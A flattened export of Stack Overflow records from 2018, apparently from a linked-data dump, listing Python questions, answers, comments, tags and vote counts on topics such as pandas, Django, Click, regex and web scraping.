has text: @novice_007, I've marked as duplicate as I struggle to see a materially different answer from the one 4 years ago. And if there is one, it should be added to that post.

http://stackoverflow.com/q/49530890
linked to: http://stackoverflow.com/q/47628870
favorite count: 0
type: Question
has title: Drawing convexity polygon in Pyglet
tagged with: pyglet
tagged with: opengl
has body: Is it possible to draw convexity polygon with Pyglet? If yes, how can I draw it? I only know n vertex and their 2D coordinates.
tagged with: python
has answer: http://stackoverflow.com/a/49531139
accepted answer: http://stackoverflow.com/a/49531139
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/64260778
answer count: 2
possible better answer: http://stackoverflow.com/a/64260778
has comment: http://stackoverflow.com/comment/86068149
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86040198
score: 0
comment on: http://stackoverflow.com/q/49517220
has text: text from entry widget in the present frame , after the button click , a new frame should be raised
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85910555
type: Comment
has text: They're trying to prevent you from doing things like this. You should not try to get around it.
type: QuestionComment
comment on: http://stackoverflow.com/q/49453474
score: 0

http://stackoverflow.com/q/49571327
tagged with: django-admin
type: UnansweredQuestion
tagged with: django
tagged with: python
score: 0
tagged with: django-templates
has answer: http://stackoverflow.com/a/49571602
answer count: 1
has title: Access model properties in Django Admin templates?
has body: I have Django 2.0.3 on Python 3.5.3. I search for simple way to small improve my standard Django Admin dashboard (main page of Django Admin). Here is my template for Admin main page ./templates/admin/index.html: {% extends "admin/base_site.html" %} {% load i18n static %} {% block extrastyle %}{{ block.super }} &lt;link rel="stylesheet" type="text/css" href="{% static "admin/css/dashboard.css" %}"/&gt;{% endblock %} {% block coltype %}colMS{% endblock %} {% block bodyclass %}{{ block.super }} dashboard{% endblock %} {% block breadcrumbs %}{% endblock %} {% block content %} &lt;div id="content-main"&gt; {% if app_list %} {% for app in app_list %} &lt;div class="app-{{ app.app_label }} module"&gt; &lt;table&gt; &lt;caption&gt; &lt;a href="{{ app.app_url }}" class="section" title="{% blocktrans with name=app.name %}Models in the {{ name }} application{% endblocktrans %}"&gt;{{ app.name }}&lt;/a&gt; &lt;/caption&gt; {% for model in app.models %} &lt;tr class="model-"&gt; {% if model.admin_url %} &lt;th scope="row"&gt;&lt;a href="{{ model.admin_url }}"&gt;{{ model.name }}&lt;/a&gt;&lt;/th&gt; {% else %} &lt;th scope="row"&gt;{{ model.name }}&lt;/th&gt; {% endif %} {% if model.add_url and request.user.is_superuser %} &lt;td&gt;&lt;a href="{{ model.add_url }}" class="addlink"&gt;{% trans 'Add' %}&lt;/a&gt;&lt;/td&gt; {% else %} &lt;td&gt;&amp;nbsp;&lt;/td&gt; {% endif %} {% if model.admin_url and request.user.is_superuser %} &lt;td&gt;&lt;a href="{{ model.admin_url }}" class="changelink"&gt;{% trans 'Change' %}&lt;/a&gt;&lt;/td&gt; {% else %} &lt;td&gt;&amp;nbsp;&lt;/td&gt; {% endif %} &lt;/tr&gt; {% endfor %} &lt;/table&gt; &lt;/div&gt; {% endfor %} {% else %} &lt;p&gt;{% trans "You don't have permission to edit anything." %}&lt;/p&gt; {% endif %} &lt;/div&gt; {% endblock %} I delete sidebar block, because I never use it. And it looks like: I want to add to each model link count of objects. For example, Cities (23), Citizenships (102) and simil…
type: Question

http://stackoverflow.com/q/49486127
has answer: http://stackoverflow.com/a/49486398
has comment: http://stackoverflow.com/comment/85975775
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49486398
answer count: 1
has body: I'm new to Python and tried similar suggestions from here and failed. I'm writing a script that consists of few functions, the first function will create some of the variables that will be used in other functions (it can't global variables). When I've tried my script I kept getting NameError for undefined vars. import boto3 import json from awsretry import AWSRetry from botocore.exceptions import ClientError @AWSRetry.backoff(tries=5) def instance_details(event, context): client = boto3.client('ec2')] ec2_resource = boto3.resource('ec2')` alert = event['Records'][0]['Sns']['Message'] instance_id = alert['Trigger']['Dimensions'][0]['value'] instance = ec2_resource.Instance(instance_id) return client @AWSRetry.backoff(tries=5) def tagging(): instance_type = instance['Reservations'][0]['Instances'][0]['InstanceType'] Why I can't pass the values of instance and client to other functions? Thanks in advance and sorry for duplicates.
has title: Can't pass variable value from one function to another
type: Question
tagged with: python
tagged with: boto3

http://stackoverflow.com/comment/85931250
type: Comment
has text: @ImportanceOfBeingErnest About the last part of your comment, yes, actually I've not found anything yet.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49463902

http://stackoverflow.com/q/49561543
has answer: http://stackoverflow.com/a/49561654
upvote count: 1
has answer: http://stackoverflow.com/a/49561754
score: 1
favorite count: 0
type: Question
answer count: 2
has title: How to get a mapping of country codes to international number prefixes in Python?
downvote count: 0
tagged with: python
tagged with: phone-number
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/38551958
possible better answer: http://stackoverflow.com/a/49561654
has body: I'm interested in getting a mapping of country codes to international phone number prefixes, like so: {'US': '+1', 'GB': '+44', 'DE': '+49', ...} One library that probably contains this information is python-phonenumbers. However, after a quick perusal of the source code I wasn't able to find where this information is stored. For example, the shortdata/region_DE.py module looks like this: """Auto-generated file, do not edit by hand. DE metadata""" from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata PHONE_METADATA_DE = PhoneMetadata(id='DE', country_code=None, international_prefix=None, general_desc=PhoneNumberDesc(national_number_pattern='1\\d{2,5}', possible_length=(3, 6)), toll_free=PhoneNumberDesc(national_number_pattern='116\\d{3}', example_number='116000', possible_length=(6,)), emergency=PhoneNumberDesc(national_number_pattern='11[02]', example_number='112', possible_length=(3,)), short_code=PhoneNumberDesc(national_number_pattern='11(?:[025]|6(?:00[06]|1(?:1[17]|23)))', example_number='115', possible_length=(3, 6)), short_data=True) It seems like the country_code and international_prefix fields are None. How can I get such a mapping (possibly with a different library)?
accepted answer: http://stackoverflow.com/a/49561754
linked to: http://stackoverflow.com/q/38551958

http://stackoverflow.com/a/49530356
has comment: http://stackoverflow.com/comment/86074515
upvote count: 6
type: Answer
has comment: http://stackoverflow.com/comment/86066693
accepted answer of: http://stackoverflow.com/q/49530341
downvote count: 0
type: AcceptedAnswer
score: 6
has comment: http://stackoverflow.com/comment/86073943
answers question: http://stackoverflow.com/q/49530341
has comment: http://stackoverflow.com/comment/86072171
has comment: http://stackoverflow.com/comment/86066896
has body: Use In [905]: df.apply(lambda x: x.str[:2]) Out[905]: a b 0 A1 A1 1 A5 A2 2 A1 A3 Or, In [908]: df.applymap(lambda x: x[:2]) Out[908]: a b 0 A1 A1 1 A5 A2 2 A1 A3
has comment: http://stackoverflow.com/comment/86074814

http://stackoverflow.com/q/49471283
downvote count: 0
has comment: http://stackoverflow.com/comment/85946030
has comment: http://stackoverflow.com/comment/85946419
possible better answer: http://stackoverflow.com/a/49471702
tagged with: data-science
favorite count: 0
has title: Pandas - Check if Numbers in Column are in row
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85946511
tagged with: pandas
tagged with: data-manipulation
upvote count: 5
has comment: http://stackoverflow.com/comment/85945727
accepted answer: http://stackoverflow.com/a/49473253
has comment: http://stackoverflow.com/comment/85945551
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/49473253
has answer: http://stackoverflow.com/a/49471952
has body: I have a pandas dataframe as follows: user_id product_id order_number 1 1 1 1 1 2 1 1 3 1 2 1 1 2 5 2 1 1 2 1 3 2 1 4 2 1 5 3 1 1 3 1 2 3 1 6 I wanted to query this df for the longest streak (none order_number is skipped) and last streak (since last order_number). The ideal result is as follows: user_id product_id longest_streak last_streak 1 1 3 3 1 2 0 0 2 1 3 3 3 1 2 0 I'd appreciate any insights on this.
has comment: http://stackoverflow.com/comment/85946528
has answer: http://stackoverflow.com/a/49471702
type: Question
score: 5
answer count: 3
has comment: http://stackoverflow.com/comment/85945812
has comment: http://stackoverflow.com/comment/85946401

http://stackoverflow.com/q/49441923
has answer: http://stackoverflow.com/a/49441994
has title: Finding the key of a max or min value
possible better answer: http://stackoverflow.com/a/49441952
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49441994
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49441952
has answer: http://stackoverflow.com/a/49442471
tagged with: python
type: AnsweredQuestion
upvote count: 3
score: 3
answer count: 3
downvote count: 0
has body: The max and min functions evaluate the key argument exactly once per element, which I infer from the documentation of list.sort that they refer to (as well as an educated guess about their implementation): The key corresponding to each item in the list is calculated once and then used for the entire sorting process. This means that it should be safe to use a key function that does not always return the same output for a given input. But is it possible to retrieve the key of the max or min elegantly without a custom function or calling the key function again? For a non-deterministic key, the following would not work: max_val = max(iterable, key=key) max_key = key(max_val) The same problem occurs with max_val = sorted(iterable, key=key)[0] A custom function could be written like this: from itertools import tee def max_and_key(iterable, *, key=None): i1, i2 = tee(iterable) max_val = max(k, -i, v for i, (k, v) in enumerate(zip(map(key, i1), i2))) return max_val[2], max_val[0] The tee is necessary to make this work on arbitrary iterables, where the elements of the zip have to work on the same element of the iterable without interfering with each other. The zip ensures that the tee does not have to store more than one element at a time, for maximum laziness in evaluation. Enumeration ensures that for cases where the keys are the same but the values are different, the stability of the comparison is preserved in a manner consistent with the original functions: If multiple items are maximal [minimal], the function returns the first one encountered. Note the minus sign in the expression being maximized. All in all, this function seems like massive overkill to retrieve something that is being computed already. Is there a better solution for this? If there is no other way, at least this function has the same algorithmic complexity and general contract as max. Tangent/bonus question: what is the adjective meaning "not returning the same result for the same inputs every time"? No…

http://stackoverflow.com/comment/86056610
comment on: http://stackoverflow.com/q/49525241
type: QuestionComment
score: 2
has text: you're missing a `)` in the line above it for the print statement
type: Comment

http://stackoverflow.com/a/49444818
accepted answer of: http://stackoverflow.com/q/49444787
has comment: http://stackoverflow.com/comment/85891573
has comment: http://stackoverflow.com/comment/85893388
has comment: http://stackoverflow.com/comment/85898173
has comment: http://stackoverflow.com/comment/85896781
has comment: http://stackoverflow.com/comment/85893884
has comment: http://stackoverflow.com/comment/85892229
has comment: http://stackoverflow.com/comment/85891802
answers question: http://stackoverflow.com/q/49444787
has comment: http://stackoverflow.com/comment/85896821
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85892249
has body: I think need list comprehension for create masks and then np.logical_and.reduce for reduce and last filter by boolean indexing: filterfieldList = ['A','B','E'] filterValuesList = ['Project 1', 'Org_1', 'Unable to Login'] tups = zip(filterfieldList, filterValuesList) df_result = df[np.logical_and.reduce([(df[i] == j) for i, j in tups])] print (df_result) A B C D E 1 Project 1 Org_1 Directory MSTR Unable to Login 4 Project 1 Org_1 Directory MSTR Unable to Login EDIT: If need combine multiple filters per rows: filterfieldList = ['A','B','E', 'E'] filterValuesList = ['Project 1', 'Org_1', 'Unable to Login', 'Configuration'] f = pd.DataFrame({'field': filterfieldList, 'val':filterValuesList}) f = f.groupby('field')['val'].apply(list) print (f) field A [Project 1] B [Org_1] E [Unable to Login, Configuration] Name: val, dtype: object df_result = df[np.logical_and.reduce([(df[i].isin(j)) for i, j in f.items()])] print (df_result) A B C D E 0 Project 1 Org_1 Directory MSTR Configuration 1 Project 1 Org_1 Directory MSTR Unable to Login 2 Project 1 Org_1 Desktop Software MSTR Configuration 4 Project 1 Org_1 Directory MSTR Unable to Login
type: Answer
has comment: http://stackoverflow.com/comment/85902964
has comment: http://stackoverflow.com/comment/85893338
has comment: http://stackoverflow.com/comment/85893596
has comment: http://stackoverflow.com/comment/85897706
has comment: http://stackoverflow.com/comment/85902939
has comment: http://stackoverflow.com/comment/85896074
has comment: http://stackoverflow.com/comment/85893550
has comment: http://stackoverflow.com/comment/121956739
score: 7
has comment: http://stackoverflow.com/comment/85891814
downvote count: 0
has comment: http://stackoverflow.com/comment/85893931
upvote count: 7
has comment: http://stackoverflow.com/comment/85896180

http://stackoverflow.com/a/49540436
type: Answer
accepted answer of: http://stackoverflow.com/q/49540378
has body: You should try pyenv. It basically allows you manage different versions of Python. It has the same idea as nvm for NodeJS.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/49540378
upvote count: 1
has comment: http://stackoverflow.com/comment/86088178
has comment: http://stackoverflow.com/comment/86088644
score: 1

http://stackoverflow.com/comment/85967745
has text: Glad to help. Please consider marking the answer as correct.
type: Comment
comment on: http://stackoverflow.com/a/49482427
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85954056
comment on: http://stackoverflow.com/q/49449104
score: 0
type: QuestionComment
type: Comment
has text: Do you have to read the file as a stream? Is it possible to save the file to disk and then work on it?

http://stackoverflow.com/comment/86250933
type: AnswerComment
has text: I need a little bit more information than that. Where exactly is this being raised?
comment on: http://stackoverflow.com/a/49619781
type: Comment
score: 0

http://stackoverflow.com/comment/92956521
type: QuestionComment
comment on: http://stackoverflow.com/q/49515017
score: 1
has text: Having the exact same problem. If you ever found a solution...please do share!
type: Comment

http://stackoverflow.com/comment/86068263
has text: Ah I probably should use a different Python distribution that is also available: `python/3.5.2-intel-u2`. If I try this, I get a different undefined symbol error on import: `undefined symbol: __stack_chk_guard`
type: QuestionComment
comment on: http://stackoverflow.com/q/49524083
score: 0
type: Comment

http://stackoverflow.com/comment/86139283
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49565299
has text: Here is a link to a similar question. Hope this helps: https://stackoverflow.com/questions/387453/how-do-you-display-code-snippets-in-ms-word-preserving-format-and-syntax-highlig

http://stackoverflow.com/q/49595281
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86213462
downvote count: 0
score: 1
upvote count: 1
tagged with: scrapy
has body: I want to crawl data in http://dnre-mrne.gnb.ca/MineralOccurrence/default.aspx From Browser, it's possible to get the tabular results (paginated) by providing "%" in reference number. Following is my code snippet: import re import mechanize from bs4 import BeautifulSoup class MineralDBScraper(object): def __init__(self): self.url = "http://dnre-mrne.gnb.ca/MineralOccurrence/default.aspx" self.br = mechanize.Browser() self.br.addheaders = [('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7')] self.br.set_handle_redirect(True) self.br.set_handle_robots(False) def select_form(self,form): return form.attrs.get('id', None) == 'MainForm' def scrape_state_firms(self, state_item): self.br.open(self.url) s = BeautifulSoup(self.br.response().read()) saved_form = s.find('form', id='MainForm').prettify() self.br.select_form(predicate=self.select_form) self.br.form['ctl00$txtURN'] = state_item self.br.form.fixup() ctl = self.br.form.find_control('ctl00$reset1') self.br.form.controls.remove(ctl) self.br.submit() print self.br.response().read() def scrape(self): print 'Scraping all reference numbers by %' self.scrape_state_firms('%') if __name__ == '__main__': scraper = MineralDBScraper() scraper.scrape() After I run this code, my expecation is to get the tabular-data set according to the search parameter '%'. But, I am getting the previous data i.e. the landing page where search parameters are available. Please help me out. Am I missing something here?
has comment: http://stackoverflow.com/comment/86226101
favorite count: 0
tagged with: beautifulsoup
type: Question
tagged with: mechanize
tagged with: python
has title: Get data from next page after providing Search Parameters using Mechanize and BeautifulSoup
answer count: 0

http://stackoverflow.com/comment/85962204
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49475081
has text: @krishna The implementation of the Python bindings is generated by scripts in OpenCV module `python` at compilation time. So you need to compile OpenCV with python enabled, and then look for file `pyopencv_generated_funcs.h` (that's the one I used, there are few others with similar prefix). There's also a [short tutorial](https://docs.opencv.org/3.4.1/da/d49/tutorial_py_bindings_basics.html) about the topic.
type: AnswerComment

http://stackoverflow.com/a/49594967
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49594934
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49594934
has body: `Matrix = [[chr(ord('A')+(x-y)%26) for x in range(26)] for y in range(26)]` It uses a few tricks. First of all, list comprehension to make the 2D array. You don't need numpy. Second of all, it uses modulo arithmetic, chr() and ord(). `Matrix = [[x for x in range(26)] for y in range(26)]` This will give you an array with each row: `[0,1,2,...]` `Matrix = [[(x-y) for x in range(26)] for y in range(26)]` Does the shift for each row, but goes out of the 0-26 range `[ [0,1,2,...] [-1,0,1,2,...] [-2,-1,0,1,2,...] ... ]` `Matrix = [[((x-y)%26) for x in range(26)] for y in range(26)]` Using mod 26, we put our numbers into the 0-25 range. Now it's just a question of turning 0-25 into A-Z. The built-ins chr() and ord() help you there.
type: AcceptedAnswer

http://stackoverflow.com/q/49571352
has answer: http://stackoverflow.com/a/49571694
accepted answer: http://stackoverflow.com/a/49571694
tagged with: python
tagged with: regex
has title: Regex to match subsequent words
type: AnsweredQuestion
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49571430
possible better answer: http://stackoverflow.com/a/49571430
upvote count: 1
has body: In this regex : test3\w+ I'm attempting to match the following two words after word test3 in 'test1, test2, test3 match1 match2 tester' Here is my attempt : import re words = 'test1, test2, test3 match1 match2 tester' # match the words match1 match2 # note these two words can be anything but are preceded by test3 print(re.compile(r'test3\w+').search(words).group()) How to capture the words after test3 is matched? Words match1 match2 should be returned.
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86150287

http://stackoverflow.com/comment/85962303
comment on: http://stackoverflow.com/q/49479742
type: QuestionComment
score: 2
type: Comment
has text: Put it in code block.. Ctrl+k

http://stackoverflow.com/q/49496994
linked to: http://stackoverflow.com/q/24727709
tagged with: pipfile
tagged with: python
upvote count: 6
tagged with: pipenv
answer count: 1
favorite count: 0
has title: How do I sync values in setup.py / install_requires with Pipfile / packages
type: Question
has body: If you work on a project that uses both setup.py and Pipfile you often find the same values in: Pipfile/[packages] and setup.py/install_requires. Does anyone know how I can tell Pipfile to use values from setup.py/install_requires for [packages]?
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/50957425
score: 6

http://stackoverflow.com/q/49555282
type: UnansweredQuestion
score: -3
linked to: http://stackoverflow.com/q/42979877
has comment: http://stackoverflow.com/comment/86117829
has answer: http://stackoverflow.com/a/54758535
has body: When I tried to run the following command in python/Selenium from selenium import webdriver browser=webdriver.Chrome("C:\chromedriver.exe") the below exception is thrown: selenium.common.exceptions.WebDriverException: Message: unknown error: failed to write automation extension zip
upvote count: 0
answer count: 2
downvote count: 3
tagged with: selenium
has answer: http://stackoverflow.com/a/49555750
has comment: http://stackoverflow.com/comment/86117850
favorite count: 0
has title: Selenium webdriver exception is thrown for chromedriver.exe
has comment: http://stackoverflow.com/comment/86120827
type: Question
tagged with: python

http://stackoverflow.com/a/49467197
downvote count: 0
answers question: http://stackoverflow.com/q/49466094
has body: Don’t use render_to_response, it’s obsolete. Use the render shortcut instead. return render(request, 'login.html', locals()) Note that Django comes with a login view, you don’t have to write your own. It’s not recommended to use locals() because it’s harder to see what is in the template context.
upvote count: 1
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/49466094
type: AcceptedAnswer

http://stackoverflow.com/comment/85939616
has text: Welcome to SO. Please take the time to read [ask] and the other links on that page.
score: 0
comment on: http://stackoverflow.com/q/49468410
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86050488
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49518329
has text: @MaximilianPeters I don't think it is a duplicate. I already saw the post you're referring to, and the guy was trying to modify the volume for the complete file, and not frame by frame. Except if I missed something, that is not what I want.

http://stackoverflow.com/q/49474871
has title: Generating relationships with chance percentage in Neo4j
tagged with: neo4j
has answer: http://stackoverflow.com/a/49486634
type: Question
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: database
tagged with: python
score: 0
has body: Consider a CSV file with over 1.300.000 rows that contain information about articles from arXiv. The structure of that file looks like this: id,title,url,abstract,date,categories,authors 0,"Title1",http://arxiv.org/abs/0704.0001,"Blabla",2007-04-02,Phenomenology,"Balázs, C.;Berger, E. L.;Nadolsky, P. M." I am importing it to Neo4j database. This is not an issue. However, I would like to create some pseudo random (maybe based on some made up probability model) relationships between the articles - citing. I would like to generate (article1)-[:CITES]->(article2) relationships. But I want them not to be full random ones. I want to take in account that article can cite only older articles than itself and if articles are in the same category the chance that one cites another is much higher, also the same authors are boosting the chance of citing. Just trying to somewhat simulate the real world. My question is - how would one approach that? Can it be done using Cypher? Or should I create (i.e. python) application, and how should I build it? Or maybe I should create them in the CSV as a column and then import it to Neo4j like so: id,title,url,abstract,date,categories,authors,cites 100,"Test",http://test.test,"Desc",2018-03-25,Phenomenology,"XYZ, John","0;4;15;25;60;69;89" Or maybe there is a tool that could help me? Or am I missing something? What is the best way (and maybe the easiest one) to create those relationships?
tagged with: probability
answer count: 1

http://stackoverflow.com/comment/86133370
has text: I have resolved the git error and confirmed that the repository is congruent with my local repo.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49562375

http://stackoverflow.com/comment/85998946
comment on: http://stackoverflow.com/q/49497210
has text: @JavierBuzzi, i have to sort db.csv by atributes.csv and if there are persons who didnt match with these atributes i wont write them in final.csv
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/49445010
has body: Why do you need to have the "id" in the json. Remove it from the DRF serializer, and django ORM will auto-increment the id for every new record. By default, the id field of the model gets incremented automatically.
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/85891925
answers question: http://stackoverflow.com/q/49444773

http://stackoverflow.com/comment/85938936
type: AnswerComment
comment on: http://stackoverflow.com/a/49468033
score: 0
type: Comment
has text: Edited my answer to something that may help you out.

http://stackoverflow.com/q/49501788
upvote count: 2
accepted answer: http://stackoverflow.com/a/49501815
downvote count: 0
possible better answer: http://stackoverflow.com/a/49501827
has comment: http://stackoverflow.com/comment/86007625
has answer: http://stackoverflow.com/a/49501827
favorite count: 0
type: Question
tagged with: return
has title: Can return only be used once in a block of code?
has answer: http://stackoverflow.com/a/49501815
tagged with: python
has answer: http://stackoverflow.com/a/49507253
has body: I'm in the process of learning python, and I can't wrap my head around a piece of code in the book: def find_value(List, value): for i in range(len(List)): if List[i] == value: return i return -1 I've tried running the code, and it returns the index if the value is in it, and returns -1 if it isn't, but what I don't understand is since the 'return -1' is outside the for loop, and if statement, should it not be run every time the code is executed? Or does return only get processed once, the first time it is called? I just want to make sure I understand this concept before moving on. Thanks in advance
score: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/231767
answer count: 3

http://stackoverflow.com/q/49562473
has body: import spotipy import requests import sys import spotipy.util as util from spotipy.oauth2 import SpotifyClientCredentials # Setup the credentials client_credentials_manager = SpotifyClientCredentials(client_id=client_id,client_secret=client_secret) # Make the connection sp = spotipy.Spotify(client_credentials_manager=client_credentials_manager,auth=access_token) sp.current_user() --------------------------------------------------------------------------- HTTPError Traceback (most recent call last) ~\Anaconda\lib\site-packages\spotipy\client.py in _internal_call(self, method, url, payload, params) 118 try: --&gt; 119 r.raise_for_status() 120 except: ~\Anaconda\lib\site-packages\requests\models.py in raise_for_status(self) 934 if http_error_msg: --&gt; 935 raise HTTPError(http_error_msg, response=self) 936 HTTPError: 401 Client Error: Unauthorized for url: https://api.spotify.com/v1/me/ During handling of the above exception, another exception occurred: SpotifyException Traceback (most recent call last) &lt;ipython-input-12-a36bf58a0704&gt; in &lt;module&gt;() ----&gt; 1 sp.current_user() ~\Anaconda\lib\site-packages\spotipy\client.py in current_user(self) 572 An alias for the 'me' method. 573 ''' --&gt; 574 return self.me() 575 576 def current_user_saved_albums(self, limit=20, offset=0): ~\Anaconda\lib\site-packages\spotipy\client.py in me(self) 566 An alias for the 'current_user' method. 567 ''' --&gt; 568 return self._get('me/') 569 570 def current_user(self): ~\Anaconda\lib\site-packages\spotipy\client.py in _get(self, url, args, payload, **kwargs) 144 while retries &gt; 0: 145 try: --&gt; 146 return self._internal_call('GET', url, payload, kwargs) 147 except SpotifyException as e: 148 retries -= 1 ~\Anaconda\lib\site-packages\spotipy\client.py in _internal_call(self, method, url, payload, params) 122 raise SpotifyException(r.status_code, 123 -1, '%s:\n %s' % (r.url, r.json()['error'] ['message']), --&gt; 124 headers=r.headers) 125 else: 126 raise SpotifyException…
type: Question
has title: spotify web api connection
has comment: http://stackoverflow.com/comment/86133694
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49577549
tagged with: jupyter-notebook
score: 0
tagged with: spotipy
has comment: http://stackoverflow.com/comment/86133750
answer count: 1
has comment: http://stackoverflow.com/comment/86134408
has comment: http://stackoverflow.com/comment/86133210

http://stackoverflow.com/q/49543064
type: Question
has comment: http://stackoverflow.com/comment/86093751
upvote count: 0
has comment: http://stackoverflow.com/comment/86093827
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86094104
has title: iterating through list of tuples while accessing the previous and next elements
favorite count: 0
has comment: http://stackoverflow.com/comment/86093981
downvote count: 1
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/49543570
has body: I'm trying to iterate of a list of tuples while still having access to the previous tuple and the next tuple.Specifically I need to compare the y coordinate of the previous current and next tuple. This is my list of tuples that I'm using as input: [(1,1),(2,2),(3,4),(4,3),(5,5),(6,3.5),(7,7),(8,8),(9,9),(10,8),(11,9.5),(11,7.5),(12,12),(13,1.5)] I initially used this code segment to be able to have access to the previous, current and next elements: def previous_and_next(some_iterable): prevs, current, nexts = tee(some_iterable, 3) prevs = chain([None], prevs) nexts = chain(islice(nexts, 1, None), [None]) return zip(prevs, current, nexts) But I can't access the elements of the tuple using this function as it returns an error about subscripting. Im open to new ideas or different functions, as this bit is clearly not what I need. For more clarification this is the function that I am currently trying to implement UF = UnionFind() sortedlist = sorted(pointcloud, key=lambda x: x[1]) for previous, current, nxt in previous_and_next(sortedlist): if previous[1] &gt; current[1] and nxt[1] &gt; current[1]: UF.insert_objects(current) elif previous[1] &lt; current[1] and nxt[1] &lt; current[1]: c=UF.find(previous[1]) d=UF.find(nxt[1]) UF.union(c,d) else: c=UF.find(previous[1]) UF.union(current,previous) return
linked to: http://stackoverflow.com/q/45853000
has answer: http://stackoverflow.com/a/49543316

http://stackoverflow.com/comment/86134004
comment on: http://stackoverflow.com/a/49562691
type: Comment
score: 0
type: AnswerComment
has text: Ahh that fixed it. Thank you!

http://stackoverflow.com/q/49467112
downvote count: 0
tagged with: django-rest-framework
answer count: 1
favorite count: 0
tagged with: rest
tagged with: angularjs
tagged with: naming-conventions
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/49473605
tagged with: python
has title: How to handle difference in the naming convention of request body JSON fields produced in javascript and consumed in python DRF?
has body: I am creating Rest APIs in Python DRF and consuming it in angularJS in the browser. The problem I am facing is wrt, differences in variable name naming conventions in javascript and python. Javascript uses camel notation to name variable names, while python uses underscore notation. So, when I send request through angularjs, the sample request JSON body is of following format :- user_dtls = {"firstName": "Mangu Singh", "lastName": "Rajpurohit"} but in python, they are represented as first_name and last_name. I am using ModelSerializer, while automatically reads the request and populates model fields, based on field_name. But, since the names of fields in request body(send through javascript) and serializer is different, I have to write lot of boilerplate code to do this conversion. Do DRF provides any mechanism to handle this situation ? What would be the most pythonic way to deal with such situation. Thanks in advance.
accepted answer: http://stackoverflow.com/a/49473605
score: 2
type: AnsweredQuestion

http://stackoverflow.com/q/49511933
tagged with: python-click
score: 12
upvote count: 12
type: AnsweredQuestion
answer count: 2
downvote count: 0
tagged with: decorator
accepted answer: http://stackoverflow.com/a/49520024
favorite count: 0
has body: I am looking for some advice to avoid having to instantiate a class twice; this is more of a design pattern question. I am creating an application using the Python Click library. I have a Settings class that first loads all initial default settings into a dictionary (hard-coded into the application), then loads all settings overrides (if specified) from a TOML file on the user's computer into a dictionary, and then finally merges the two and makes them available as attributes of the class instance (settings.&lt;something&gt;). For most of these settings, I also want to be able to specify a command-line flag. The priority then becomes: Command-line flag. If not specified, then fallback to... User setting in TOML file. If not specified, then finally fallback to... Application default In order to achieve this result, I am finding that, when using Click's decorators, I have to do something like this: import click from myapp import Settings settings = Settings() pass_settings = click.make_pass_decorator(Settings, ensure=True) @click.command() @click.help_option('-h', '--help') @click.option( '-s', '--disk-size', default=settings.instance_disk_size, help="Disk size", show_default=True, type=int ) @click.option( '-t', '--disk-type', default=settings.instance_disk_type, help="Disk type", show_default=True, type=click.Choice(['pd-standard', 'pd-ssd']) ) @pass_settings def create(settings, disk_size, disk_type): print(disk_size) print(disk_type) Why twice? The settings = Settings() line is needed to provide the @click.option decorators with the default value. The default value could either come from the user override TOML file (if present), or from the application default. The click.make_pass_decorator seems to be the recommended way for interleaved commands; it's even mentioned in their documentation. Inside of the function, in addition to the CLI parameters passed, I also sometimes needs to reference other attributes in the Settings class. My question is, which is better? I…
has answer: http://stackoverflow.com/a/49520024
type: Question
has title: Better usage of `make_pass_decorator` in Python Click
has answer: http://stackoverflow.com/a/59850771
tagged with: python
tagged with: python-decorators
possible better answer: http://stackoverflow.com/a/59850771

stat
tags question: http://stackoverflow.com/q/49581325
type: Tag
tag name: stat

http://stackoverflow.com/q/49475586
has comment: http://stackoverflow.com/comment/85959477
linked to: http://stackoverflow.com/q/11144513
tagged with: python-itertools
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49476061
has comment: http://stackoverflow.com/comment/85953657
upvote count: 5
tagged with: python
linked to: http://stackoverflow.com/q/4709510
has comment: http://stackoverflow.com/comment/85954326
has title: Python Alternative to itertools product with numpy
score: 3
answer count: 2
has comment: http://stackoverflow.com/comment/85961525
has answer: http://stackoverflow.com/a/49477040
downvote count: 2
has comment: http://stackoverflow.com/comment/85953788
has comment: http://stackoverflow.com/comment/85953832
